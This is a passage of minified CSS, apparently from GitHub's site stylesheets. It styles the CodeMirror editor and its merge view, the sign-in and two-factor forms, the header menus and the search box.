infinite;background-color:#7e7}@keyframes blink{50%{background-color:transparent}}.cm-tab{display:inline-block;text-decoration:inherit}.CodeMirror-rulers{position:absolute;left:0;right:0;top:-50px;bottom:0;overflow:hidden}.CodeMirror-ruler{border-left:1px solid #ccc;top:0;bottom:0;position:absolute}.cm-s-default .cm-header{color:blue}.cm-s-default .cm-quote{color:#090}.cm-negative{color:#d44}.cm-positive{color:#292}.cm-header,.cm-strong{font-weight:bold}.cm-em{font-style:italic}.cm-link{text-decoration:underline}.cm-strikethrough{text-decoration:line-through}.cm-s-default .cm-keyword{color:#708}.cm-s-default .cm-atom{color:#219}.cm-s-default .cm-number{color:#164}.cm-s-default .cm-def{color:blue}.cm-s-default .cm-variable-2{color:#05a}.cm-s-default .cm-variable-3,.cm-s-default .cm-type{color:#085}.cm-s-default .cm-comment{color:#a50}.cm-s-default .cm-string{color:#a11}.cm-s-default .cm-string-2{color:#f50}.cm-s-default .cm-meta{color:#555}.cm-s-default .cm-qualifier{color:#555}.cm-s-default .cm-builtin{color:#30a}.cm-s-default .cm-bracket{color:#997}.cm-s-default .cm-tag{color:#170}.cm-s-default .cm-attribute{color:#00c}.cm-s-default .cm-hr{color:#999}.cm-s-default .cm-link{color:#00c}.cm-s-default .cm-error{color:red}.cm-invalidchar{color:red}.CodeMirror-composing{border-bottom:2px solid}div.CodeMirror span.CodeMirror-matchingbracket{color:#0b0}div.CodeMirror span.CodeMirror-nonmatchingbracket{color:#a22}.CodeMirror-matchingtag{background:rgba(255, 150, 0, 0.3)}.CodeMirror-activeline-background{background:#e8f2ff}.CodeMirror{position:relative;overflow:hidden;background:white}.CodeMirror-scroll{overflow:scroll !important;margin-bottom:-50px;margin-right:-50px;padding-bottom:50px;height:100%;outline:none;position:relative}.CodeMirror-sizer{position:relative;border-right:50px solid transparent}.CodeMirror-vscrollbar,.CodeMirror-hscrollbar,.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{position:absolute;z-index:6;display:none;outline:none}.CodeMirror-vscrollbar{right:0;top:0;overflow-x:hidden;overflow-y:scroll}.CodeMirror-hscrollbar{bottom:0;left:0;overflow-y:hidden;overflow-x:scroll}.CodeMirror-scrollbar-filler{right:0;bottom:0}.CodeMirror-gutter-filler{left:0;bottom:0}.CodeMirror-gutters{position:absolute;left:0;top:0;min-height:100%;z-index:3}.CodeMirror-gutter{white-space:normal;height:100%;display:inline-block;vertical-align:top;margin-bottom:-50px}.CodeMirror-gutter-wrapper{position:absolute;z-index:4;background:none !important;border:none !important}.CodeMirror-gutter-background{position:absolute;top:0;bottom:0;z-index:4}.CodeMirror-gutter-elt{position:absolute;cursor:default;z-index:4}.CodeMirror-gutter-wrapper ::selection{background-color:transparent}.CodeMirror-gutter-wrapper ::-moz-selection{background-color:transparent}.CodeMirror-lines{cursor:text;min-height:1px}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{border-radius:0;border-width:0;background:transparent;font-family:inherit;font-size:inherit;margin:0;white-space:pre;word-wrap:normal;line-height:inherit;color:inherit;z-index:2;position:relative;overflow:visible;-webkit-tap-highlight-color:transparent;font-variant-ligatures:contextual}.CodeMirror-wrap pre.CodeMirror-line,.CodeMirror-wrap pre.CodeMirror-line-like{word-wrap:break-word;white-space:pre-wrap;word-break:normal}.CodeMirror-linebackground{position:absolute;left:0;right:0;top:0;bottom:0;z-index:0}.CodeMirror-linewidget{position:relative;z-index:2;padding:.1px}.CodeMirror-rtl pre{direction:rtl}.CodeMirror-code{outline:none}.CodeMirror-scroll,.CodeMirror-sizer,.CodeMirror-gutter,.CodeMirror-gutters,.CodeMirror-linenumber{box-sizing:content-box}.CodeMirror-measure{position:absolute;width:100%;height:0;overflow:hidden;visibility:hidden}.CodeMirror-cursor{position:absolute;pointer-events:none}.CodeMirror-measure pre{position:static}div.CodeMirror-cursors{visibility:hidden;position:relative;z-index:3}div.CodeMirror-dragcursors{visibility:visible}.CodeMirror-focused div.CodeMirror-cursors{visibility:visible}.CodeMirror-selected{background:#d9d9d9}.CodeMirror-focused .CodeMirror-selected{background:#d7d4f0}.CodeMirror-crosshair{cursor:crosshair}.CodeMirror-line::selection,.CodeMirror-line>span::selection,.CodeMirror-line>span>span::selection{background:#d7d4f0}.CodeMirror-line::-moz-selection,.CodeMirror-line>span::-moz-selection,.CodeMirror-line>span>span::-moz-selection{background:#d7d4f0}.cm-searching{background-color:#ffa;background-color:rgba(255, 255, 0, 0.4)}.cm-force-border{padding-right:.1px}@media print{.CodeMirror div.CodeMirror-cursors{visibility:hidden}}.cm-tab-wrap-hack:after{content:""}span.CodeMirror-selectedtext{background:none}.CodeMirror-dialog{position:absolute;left:0;right:0;background:inherit;z-index:15;padding:.1em .8em;overflow:hidden;color:inherit}.CodeMirror-dialog-top{border-bottom:1px solid #eee;top:0}.CodeMirror-dialog-bottom{border-top:1px solid #eee;bottom:0}.CodeMirror-dialog input{border:none;outline:none;background:transparent;width:20em;color:inherit;font-family:monospace}.CodeMirror-dialog button{font-size:70%}.CodeMirror-merge{position:relative;border:1px solid #ddd;white-space:pre}.CodeMirror-merge,.CodeMirror-merge .CodeMirror{height:350px}.CodeMirror-merge-2pane .CodeMirror-merge-pane{width:47%}.CodeMirror-merge-2pane .CodeMirror-merge-gap{width:6%}.CodeMirror-merge-3pane .CodeMirror-merge-pane{width:31%}.CodeMirror-merge-3pane .CodeMirror-merge-gap{width:3.5%}.CodeMirror-merge-pane{display:inline-block;white-space:normal;vertical-align:top}.CodeMirror-merge-pane-rightmost{position:absolute;right:0px;z-index:1}.CodeMirror-merge-gap{z-index:2;display:inline-block;height:100%;box-sizing:border-box;overflow:hidden;border-left:1px solid #ddd;border-right:1px solid #ddd;position:relative;background:#f8f8f8}.CodeMirror-merge-scrolllock-wrap{position:absolute;bottom:0;left:50%}.CodeMirror-merge-scrolllock{position:relative;left:-50%;cursor:pointer;color:#555;line-height:1}.CodeMirror-merge-scrolllock:after{content:"⇛  ⇚"}.CodeMirror-merge-scrolllock.CodeMirror-merge-scrolllock-enabled:after{content:"⇛⇚"}.CodeMirror-merge-copybuttons-left,.CodeMirror-merge-copybuttons-right{position:absolute;left:0;top:0;right:0;bottom:0;line-height:1}.CodeMirror-merge-copy{position:absolute;cursor:pointer;color:#44c;z-index:3}.CodeMirror-merge-copy-reverse{position:absolute;cursor:pointer;color:#44c}.CodeMirror-merge-copybuttons-left .CodeMirror-merge-copy{left:2px}.CodeMirror-merge-copybuttons-right .CodeMirror-merge-copy{right:2px}.CodeMirror-merge-r-inserted,.CodeMirror-merge-l-inserted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12MwuCXy3+CWyH8GBgYGJgYkAABZbAQ9ELXurwAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-deleted,.CodeMirror-merge-l-deleted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12M4Kyb2/6yY2H8GBgYGJgYkAABURgPz6Ks7wQAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-chunk{background:#ffffe0}.CodeMirror-merge-r-chunk-start{border-top:1px solid #ee8}.CodeMirror-merge-r-chunk-end{border-bottom:1px solid #ee8}.CodeMirror-merge-r-connect{fill:#ffffe0;stroke:#ee8;stroke-width:1px}.CodeMirror-merge-l-chunk{background:#eef}.CodeMirror-merge-l-chunk-start{border-top:1px solid #88e}.CodeMirror-merge-l-chunk-end{border-bottom:1px solid #88e}.CodeMirror-merge-l-connect{fill:#eef;stroke:#88e;stroke-width:1px}.CodeMirror-merge-l-chunk.CodeMirror-merge-r-chunk{background:#dfd}.CodeMirror-merge-l-chunk-start.CodeMirror-merge-r-chunk-start{border-top:1px solid #4e4}.CodeMirror-merge-l-chunk-end.CodeMirror-merge-r-chunk-end{border-bottom:1px solid #4e4}.CodeMirror-merge-collapsed-widget:before{content:"(...)"}.CodeMirror-merge-collapsed-widget{cursor:pointer;color:#88b;background:#eef;border:1px solid #ddf;font-size:90%;padding:0 3px;border-radius:4px}.CodeMirror-merge-collapsed-line .CodeMirror-gutter-elt{display:none}/*! + * GitHub Light v0.4.2 + * Copyright (c) 2012 - 2017 GitHub, Inc. + * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) + */.cm-s-github-light.CodeMirror{background:var(--color-codemirror-bg);color:var(--color-codemirror-text)}.cm-s-github-light .CodeMirror-gutters{background:var(--color-codemirror-gutters-bg);border-right-width:0}.cm-s-github-light .CodeMirror-guttermarker{color:var(--color-codemirror-guttermarker-text)}.cm-s-github-light .CodeMirror-guttermarker-subtle{color:var(--color-codemirror-guttermarker-subtle-text)}.cm-s-github-light .CodeMirror-linenumber{color:var(--color-codemirror-linenumber-text);padding:0 16px 0 16px}.cm-s-github-light .CodeMirror-cursor{border-left:1px solid var(--color-codemirror-cursor)}.cm-s-github-light.CodeMirror-focused .CodeMirror-selected,.cm-s-github-light .CodeMirror-line::selection,.cm-s-github-light .CodeMirror-line>span::selection,.cm-s-github-light .CodeMirror-line>span>span::selection{background:var(--color-codemirror-selection-bg, #d7d4f0)}.cm-s-github-light .CodeMirror-line::-moz-selection,.cm-s-github-light .CodeMirror-line>span::-moz-selection,.cm-s-github-light .CodeMirror-line>span>span::-moz-selection{background:var(--color-codemirror-selection-bg, #d7d4f0)}.cm-s-github-light .CodeMirror-activeline-background{background:var(--color-codemirror-activeline-bg)}.cm-s-github-light .CodeMirror-matchingbracket{text-decoration:underline;color:var(--color-codemirror-matchingbracket-text) !important}.cm-s-github-light .CodeMirror-lines{font-family:"SFMono-Regular",Consolas,"Liberation Mono",Menlo,Courier,monospace;font-size:12px;background:var(--color-codemirror-lines-bg);line-height:1.5}.cm-s-github-light .cm-comment{color:var(--color-codemirror-syntax-comment)}.cm-s-github-light .cm-constant{color:var(--color-codemirror-syntax-constant)}.cm-s-github-light .cm-entity{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-entity)}.cm-s-github-light .cm-keyword{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-keyword)}.cm-s-github-light .cm-storage{color:var(--color-codemirror-syntax-storage)}.cm-s-github-light .cm-string{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-string)}.cm-s-github-light .cm-support{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-support)}.cm-s-github-light .cm-variable{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-variable)}details-dialog{position:fixed;margin:10vh auto;top:0;left:50%;transform:translateX(-50%);z-index:999;max-height:80vh;max-width:90vw;width:448px;overflow:auto}.user-select-contain{-webkit-user-select:contain;user-select:contain}.ajax-pagination-form .ajax-pagination-btn{width:100%;padding:6px;margin-top:20px;font-weight:600;color:var(--color-accent-fg);background:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.ajax-pagination-form .ajax-pagination-btn:hover,.ajax-pagination-form .ajax-pagination-btn:focus{color:var(--color-accent-fg);background-color:var(--color-canvas-subtle)}.ajax-pagination-form.loading .ajax-pagination-btn{text-indent:-3000px;background-color:var(--color-canvas-subtle);background-image:url("/images/spinners/octocat-spinner-16px-EAF2F5.gif");background-repeat:no-repeat;background-position:center center;border-color:var(--color-border-default)}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.ajax-pagination-form.loading .ajax-pagination-btn{background-image:url("/images/spinners/octocat-spinner-32-EAF2F5.gif");background-size:16px auto}}body.intent-mouse [role=button]:focus,body.intent-mouse [role=tabpanel][tabindex="0"]:focus,body.intent-mouse button:focus,body.intent-mouse summary:focus,body.intent-mouse a:focus{outline:none;box-shadow:none}body.intent-mouse [tabindex="0"]:focus,body.intent-mouse details-dialog:focus{outline:none}.CodeMirror{height:calc(100vh - 1px)}.file-editor-upload{height:100%}.issue-template-editor{height:100%}.file-editor-textarea{width:100%;padding:5px 4px;font:12px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;resize:vertical;border:0;border-radius:0;outline:none}.container-preview .tabnav-tabs{margin:-5px 0 -5px -9px}.container-preview .tabnav-tabs .tabnav-tab{padding:12px 16px;border-radius:0}.container-preview .tabnav-tabs>.selected:first-child{border-top-left-radius:6px}.container-preview .tabnav-tabs .selected{font-weight:600}.container-preview.template-editor .commit-create,.container-preview.template-editor .file-actions{display:block}.container-preview.template-editor .show-code,.container-preview.template-editor .commit-preview,.container-preview.template-editor .loading-preview-msg,.container-preview.template-editor .no-changes-preview-msg,.container-preview.template-editor .error-preview-msg{display:none !important}.container-preview.render-editor .commit-create,.container-preview.render-editor .file-actions{display:block}.container-preview.render-editor .template-editor,.container-preview.render-editor .show-code,.container-preview.render-editor .commit-preview,.container-preview.render-editor .loading-preview-msg,.container-preview.render-editor .no-changes-preview-msg,.container-preview.render-editor .error-preview-msg{display:none !important}.container-preview.show-code .commit-create,.container-preview.show-code .file-actions{display:block}.container-preview.show-code .template-editor,.container-preview.show-code .render-editor,.container-preview.show-code .commit-preview,.container-preview.show-code .loading-preview-msg,.container-preview.show-code .no-changes-preview-msg,.container-preview.show-code .error-preview-msg{display:none !important}.container-preview:not(.show-code) .commit-create,.container-preview:not(.show-code) .file-actions{display:none !important}.container-preview.loading-preview .loading-preview-msg{display:block}.container-preview.loading-preview .template-editor,.container-preview.loading-preview .render-editor,.container-preview.loading-preview .no-changes-preview-msg,.container-preview.loading-preview .error-preview-msg,.container-preview.loading-preview .commit-preview{display:none !important}.container-preview.show-preview .commit-preview{display:block}.container-preview.show-preview .template-editor,.container-preview.show-preview .render-editor,.container-preview.show-preview .loading-preview-msg,.container-preview.show-preview .no-changes-preview-msg,.container-preview.show-preview .error-preview-msg{display:none !important}.container-preview.no-changes-preview .no-changes-preview-msg{display:block}.container-preview.no-changes-preview .template-editor,.container-preview.no-changes-preview .render-editor,.container-preview.no-changes-preview .loading-preview-msg,.container-preview.no-changes-preview .error-preview-msg,.container-preview.no-changes-preview .commit-preview{display:none !important}.container-preview.error-preview .error-preview-msg{display:block}.container-preview.error-preview .template-editor,.container-preview.error-preview .render-editor,.container-preview.error-preview .loading-preview-msg,.container-preview.error-preview .no-changes-preview-msg,.container-preview.error-preview .commit-preview{display:none !important}.container-preview p.preview-msg{padding:30px;font-size:16px}.CodeMirror-merge-header{height:30px}.CodeMirror-merge-header .CodeMirror-merge-pane{height:30px;line-height:30px}.cm-s-github-light .merge-gutter{width:14px}.conflict-background+.CodeMirror-gutter-wrapper .CodeMirror-linenumber{background-color:var(--color-attention-subtle)}.form-group .edit-action{opacity:.6}.form-group .form-field-hover{background-color:none;border:1px solid var(--color-border-default)}.form-group:hover .edit-action{cursor:pointer;opacity:.7}.form-group:hover .form-field-hover{cursor:pointer;border:1px solid var(--color-border-default)}.placeholder-box{border:1px solid var(--color-border-default)}.template-previews{max-width:768px}.template-previews .Box .expand-group{display:none;height:0}.template-previews .Box .dismiss-preview-button{display:none}.template-previews .Box.expand-preview .expand-group{display:block;height:100%;transition:height 3s}.template-previews .Box.expand-preview .preview-button{display:none}.template-previews .Box.expand-preview .dismiss-preview-button{display:inline}.template-previews .discussion-sidebar-heading{font-size:14px;color:var(--color-neutral-emphasis)}.template-previews .discussion-sidebar-heading:hover{color:var(--color-accent-emphasis)}.edit-labels{display:none}.preview-section{display:block}.edit-section{display:none}.Box .section-focus .preview-section{display:none}.Box .section-focus .edit-section{display:block}.commit-create .CodeMirror{padding-top:8px}auto-complete,details-dialog,details-menu,file-attachment,filter-input,remote-input,tab-container,text-expander,turbo-frame,[data-catalyst]{display:block}[data-catalyst-inline]{display:inline}.Details--on .Details-content--shown{display:none !important}.Details:not(.Details--on) .Details-content--hidden{display:none !important}.Details:not(.Details--on) .Details-content--hidden-not-important{display:none}.Details-element[open]>summary .Details-content--closed{display:none !important}.Details-element:not([open])>summary .Details-content--open{display:none !important}g-emoji{display:inline-block;min-width:1ch;font-family:"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:1em;font-style:normal !important;font-weight:400;line-height:1;vertical-align:-0.075em}g-emoji img{width:1em;height:1em}.emoji-icon{display:inline-block;width:20px;height:20px;vertical-align:middle;background-repeat:no-repeat;background-size:20px 20px}.emoji-result{display:inline-block;height:20px;font-size:16px;font-weight:400;vertical-align:middle}.gollum-editor .comment-form-head.tabnav{border:1px solid var(--color-border-muted)}.gollum-editor .gollum-editor-body{height:390px;resize:vertical}.active .gollum-editor-function-buttons{display:block !important}.auth-form{width:340px;margin:0 auto}.auth-form .form-group.warn .warning,.auth-form .form-group.warn .error,.auth-form .form-group.errored .warning,.auth-form .form-group.errored .error{max-width:274px}.auth-form-header{padding:8px 16px;margin:0;color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.3);background-color:#829aa8;border:1px solid #768995;border-radius:6px 6px 0 0}.auth-form-header h1{font-size:16px}.auth-form-header h1 a{color:#fff}.auth-form-header .octicon{position:absolute;top:10px;right:20px;color:rgba(0,0,0,.4);text-shadow:0 1px 0 rgba(255,255,255,.1)}.auth-form-message{max-height:140px;padding:16px 16px 8px;overflow-y:scroll;border:1px solid var(--color-border-default);border-radius:6px}.auth-form-message ol,.auth-form-message ul{padding-left:inherit;margin-bottom:inherit}.auth-form-body{padding:16px;font-size:14px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-muted);border-top:0;border-radius:0 0 6px 6px}.auth-form-body .input-block{margin-top:4px;margin-bottom:16px}.auth-form-body p{margin-bottom:0}.auth-form-body ol,.auth-form-body ul{padding-left:inherit;margin-bottom:inherit}.two-factor-help{position:relative;padding:8px 8px 8px 32px;margin:60px 0 auto auto;border:1px solid var(--color-border-muted);border-radius:6px}.two-factor-help h4{margin-top:0;margin-bottom:4px}.two-factor-help .octicon-device-mobile,.two-factor-help .octicon-key,.two-factor-help .octicon-shield-lock,.two-factor-help .octicon-circle-slash{position:absolute;top:10px;left:10px}.sms-send-code-spinner{position:relative;bottom:2px;display:none;vertical-align:bottom}.loading .sms-send-code-spinner{display:inline}.auth-form-body .webauthn-form-body{padding:0}.webauthn-form-body{padding:32px 32px 16px;text-align:center}.webauthn-form-body button{margin-top:16px}.flash.sms-error,.flash.sms-success{display:none;margin:0 0 8px}.is-sent .sms-success{display:block}.is-sent .sms-error{display:none}.is-not-sent .sms-success{display:none}.is-not-sent .sms-error{display:block}.session-authentication{background-color:var(--color-canvas-default)}.session-authentication .header-logged-out{background-color:transparent;border-bottom:0}.session-authentication .header-logo{color:var(--color-fg-default)}.session-authentication .flash{padding:16px 16px;margin:0 auto;margin-bottom:8px;font-size:14px;border-style:solid;border-width:1px;border-radius:6px}.session-authentication .flash .container{width:auto}.session-authentication .flash .flash-close{height:40px}.session-authentication .flash.flash-banner{width:100%;border-top:0;border-right:0;border-left:0;border-radius:0}.session-authentication .auth-form label{display:block;margin-bottom:8px;font-weight:400;text-align:left}.session-authentication .auth-form .btn{margin-top:16px}.session-authentication .auth-form .webauthn-message{margin-bottom:0}.session-authentication .label-link{float:right;font-size:12px}.session-authentication .auth-form-header{margin-bottom:16px;color:var(--color-fg-default);text-align:center;text-shadow:none;background-color:transparent;border:0}.session-authentication .auth-form-header h1{font-size:24px;font-weight:300;letter-spacing:-0.5px}.session-authentication .auth-form-body{border-top:1px solid var(--color-border-muted);border-radius:6px}.session-authentication .auth-form-body.webauthn-form-body{padding:16px}.session-authentication .login-callout{padding:16px 16px;text-align:center;border:1px solid var(--color-border-default);border-radius:6px}.session-authentication .two-factor-help{padding:0 0 0 16px;margin-top:16px;border:0}.session-authentication .two-factor-help .octicon-device-mobile,.session-authentication .two-factor-help .octicon-key,.session-authentication .two-factor-help .octicon-shield-lock,.session-authentication .two-factor-help .octicon-circle-slash{top:4px;left:0}.session-authentication.enterprise .header-logged-out{padding:48px 0 24px;background-color:transparent}.session-authentication.hosted .header-logged-out{padding:40px 0 16px;background-color:transparent}.Header-old{z-index:32;padding-top:12px;padding-bottom:12px;color:#fff;background-color:var(--color-header-bg)}.server-stats+.Header-old{box-shadow:inset 0 1px 0 rgba(255,255,255,.075)}.Header-old .dropdown-menu{width:300px}.Header-old .notification-indicator:hover::after{content:none}@media(min-width: 1012px){.Header-old .notification-indicator:hover::after{content:attr(aria-label)}}.HeaderMenu{display:none;clear:both}@media(min-width: 1012px){.HeaderMenu{display:block;clear:none}}.open .HeaderMenu{display:block}.HeaderMenu-summary::marker,.HeaderMenu-summary::-webkit-details-marker{display:none}@keyframes dropdown-display{0%{opacity:0;transform:scale(0.98) translateY(-0.6em)}100%{opacity:1;transform:scale(1) translateY(0)}}.HeaderMenu--logged-out{z-index:100;width:300px;overflow:auto;background-color:var(--color-canvas-default);box-shadow:0 10px 50px rgba(27,31,35,.15)}@media(min-width: 1012px){.HeaderMenu--logged-out{width:auto;overflow:visible;background-color:transparent;box-shadow:none}}.HeaderMenu--logged-out .jump-to-suggestions{top:100%}.HeaderMenu--logged-out .HeaderMenu-details[open]>summary::before{position:absolute;bottom:-8px;display:block}.HeaderMenu--logged-out .header-search-key-slash{margin-right:8px !important}.HeaderMenu--logged-out .dropdown-menu{position:static;width:auto;border:0 solid transparent;box-shadow:none}.HeaderMenu--logged-out .dropdown-menu::before,.HeaderMenu--logged-out .dropdown-menu::after{display:none}@media(min-width: 1012px){.HeaderMenu--logged-out .dropdown-menu{position:absolute;width:300px;border:0;box-shadow:0 3px 12px rgba(27,31,35,.15),0 0 1px rgba(27,31,35,.2)}.HeaderMenu--logged-out .dropdown-menu::before,.HeaderMenu--logged-out .dropdown-menu::after{content:""}}.HeaderMenu--logged-out .dropdown-menu-s{transform:none}@media(min-width: 1012px){.HeaderMenu--logged-out .dropdown-menu-s{transform:translateX(50%)}}.HeaderMenu--logged-out .header-search{width:auto;border-top:0}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search{width:240px}}.HeaderMenu--logged-out .header-search-wrapper{border-color:var(--color-border-muted)}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-wrapper{border-color:var(--color-header-search-border)}}@media(max-width: 1012px){.HeaderMenu--logged-out .header-search-wrapper{background-color:var(--color-canvas-default)}}.HeaderMenu--logged-out .header-search-input{padding-top:8px;padding-bottom:8px;font-size:14px;-webkit-appearance:none;color:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-input{color:inherit}}.HeaderMenu--logged-out .header-search-input::placeholder{color:var(--color-fg-muted) !important}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-input::placeholder{color:rgba(255,255,255,.75) !important}}.HeaderMenu-link{color:var(--color-fg-default);white-space:nowrap;background:transparent;transition:opacity .4s}.HeaderMenu-link:hover{color:var(--color-fg-default);opacity:.75}@media(min-width: 1012px){.HeaderMenu-link{color:#fff;transition:opacity .4s}.HeaderMenu-link:hover{color:#fff;opacity:.75}}.HeaderMenu-link .icon-chevon-down-mktg{top:24px;right:0;width:14px;stroke:var(--color-fg-default);transition:stroke .4s}@media(min-width: 1012px){.HeaderMenu-link .icon-chevon-down-mktg{top:-2px;width:12px;stroke:rgba(255,255,255,.5);background:transparent}}.HeaderMenu-details[open]>summary::before{display:none}@media(min-width: 1012px){.HeaderMenu-details[open]>summary::before{position:absolute;bottom:-8px;display:block}}.HeaderMenu-details[open] .HeaderMenu-link{color:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu-details[open] .HeaderMenu-link{color:rgba(255,255,255,.75)}}.HeaderMenu-details[open] .dropdown-menu{animation:none}@media(min-width: 1012px){.HeaderMenu-details[open] .dropdown-menu{animation:dropdown-display .4s cubic-bezier(0.73, 0.005, 0.22, 1)}}.HeaderMenu-details[open] .icon-chevon-down-mktg{stroke:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu-details[open] .icon-chevon-down-mktg{stroke:#fff}}.header-logo-invertocat{margin:-1px 16px -1px -2px;color:#fff;white-space:nowrap}.header-logo-invertocat .octicon-mark-github{float:left}.header-logo-invertocat:hover{color:#fff;text-decoration:none}.notification-indicator .mail-status{position:absolute;top:-6px;left:6px;z-index:2;display:none;width:14px;height:14px;color:#fff;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-header-bg);border-radius:50%}.notification-indicator .mail-status.unread{display:inline-block}.notification-indicator:hover .mail-status{text-decoration:none;background-color:var(--color-accent-emphasis)}.header-nav-current-user{padding-bottom:0;font-size:inherit}.header-nav-current-user .css-truncate-target{max-width:100%}.header-nav-current-user .user-profile-link{color:var(--color-fg-default)}.unread-indicator{position:absolute;top:0;left:13px;z-index:2;width:14px;height:14px;color:#fff;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-header-bg);border-radius:50%}.unread-indicator--small{width:10px;height:10px;border:0}.unread-indicator-container .unread-indicator{top:9px;right:10px;left:inherit;width:10px;height:10px;border:0}.header-search-wrapper{display:table;width:100%;max-width:100%;padding:0;font-size:inherit;font-weight:400;color:var(--color-scale-white);vertical-align:middle;background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border);box-shadow:none}.header-search-wrapper.header-search-wrapper-jump-to .header-search-scope{width:-moz-fit-content;width:fit-content}.header-search-wrapper .truncate-repo-scope{max-width:110px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.header-search-wrapper.focus{background-color:rgba(255,255,255,.175);box-shadow:none}.header-search-wrapper.focus .header-search-scope{color:var(--color-scale-white);background-color:rgba(255,255,255,.075);border-right-color:#282e34}.header-search-input{display:table-cell;width:100%;padding-top:0;padding-bottom:0;font-size:inherit;color:inherit;background:none;border:0;box-shadow:none}.header-search-input::placeholder{color:rgba(255,255,255,.75)}.header-search-input:focus{border:0;box-shadow:none}.header-search-input:focus~.header-search-key-slash{display:none !important}.header-search-input::-ms-clear{display:none}.header-search-button{display:table-cell;font-size:inherit;color:inherit;background:none}.header-search-button.input-button:focus{border:0 !important;box-shadow:none}.header-search-button.input-button:focus~.header-search-key-slash{display:none !important}.header-search-button::-ms-clear{display:none}.header-search-button.placeholder{color:rgba(255,255,255,.75)}.header-search-scope{display:none;padding-right:8px;padding-left:8px;font-size:inherit;line-height:28px;color:rgba(255,255,255,.7);white-space:nowrap;vertical-align:middle;border-right:1px solid var(--color-border-muted);border-right-color:#282e34;border-top-left-radius:6px;border-bottom-left-radius:6px}.header-search-scope:empty+.header-search-input{width:100%}.header-search-scope:hover{color:var(--color-scale-white);background-color:rgba(255,255,255,.12)}.scoped-search .header-search-wrapper{display:flex}.jump-to-field-active{color:var(--color-fg-default) !important;background-color:var(--color-canvas-subtle)}.jump-to-field-active::placeholder{color:var(--color-fg-muted) !important}.jump-to-field-active~.header-search-key-slash{display:none}.jump-to-field-active.jump-to-dropdown-visible{border-bottom-right-radius:0;border-bottom-left-radius:0}.jump-to-suggestions{top:100%;left:0;z-index:35;width:100%;border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px;box-shadow:0 4px 10px rgba(0,0,0,.1)}.jump-to-suggestions-path{min-width:0;min-height:44px;color:var(--color-fg-default)}.jump-to-suggestions-path .jump-to-octicon{width:28px;color:var(--color-fg-muted)}.jump-to-suggestions-path .jump-to-suggestion-name{max-width:none}.jump-to-suggestions-path mark{font-weight:600;background-color:transparent}.jump-to-suggestions-results-container .navigation-item{border-bottom:1px solid var(--color-border-default)}.jump-to-suggestions-results-container .navigation-item:last-child{border-bottom:0}.jump-to-suggestions-results-container .d-on-nav-focus{display:none}.jump-to-suggestions-results-container [aria-selected=true] .jump-to-octicon,.jump-to-suggestions-results-container .navigation-focus .jump-to-octicon{color:var(--color-fg-on-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] .jump-to-suggestions-path,.jump-to-suggestions-results-container .navigation-focus .jump-to-suggestions-path{color:var(--color-fg-on-emphasis);background:var(--color-accent-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] mark,.jump-to-suggestions-results-container .navigation-focus mark{color:var(--color-fg-on-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] .d-on-nav-focus,.jump-to-suggestions-results-container .navigation-focus .d-on-nav-focus{display:block}.header-search{max-width:100%;transition:.2s ease-in-out;transition-property:max-width,padding-bottom,padding-top}@media(min-width: 768px){.header-search{max-width:272px}}@media(min-width: 768px){.header-search:focus-within{max-width:544px}}@media(min-width: 768px){.header-search.fixed-width:focus-within{max-width:272px}}.HeaderMenu--logged-out .header-search{min-width:auto}.search-input{width:350px}.search-input-container{z-index:35;height:36px;color:var(--color-scale-white);background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border)}.search-input-container .input-parsed-symbol{padding-right:4px;padding-left:4px;color:var(--color-accent-emphasis);background:var(--color-accent-subtle);border-radius:6px}.search-suggestions{top:-14px;left:-14px;z-index:15;width:calc(100% + 26px) !important}.search-suggestions .suggestion-search-input-wrapper{border:1px solid var(--color-accent-emphasis);align-items:center;box-shadow:var(--color-btn-shadow-input-focus)}.search-suggestions .suggestion-search-input{height:24px;padding-top:2px;margin-right:12px;margin-left:12px;white-space:pre;outline:0 solid transparent;align-items:center}.search-suggestions .suggestion-search-input:empty::before{color:var(--color-fg-subtle);content:attr(placeholder)}.search-suggestions .suggestion-list{list-style:none}.search-suggestions .suggestion-list [aria-selected=true]{background-color:var(--color-canvas-inset) !important}.search-suggestions .suggestion-list :hover{background-color:inherit}.search-suggestions 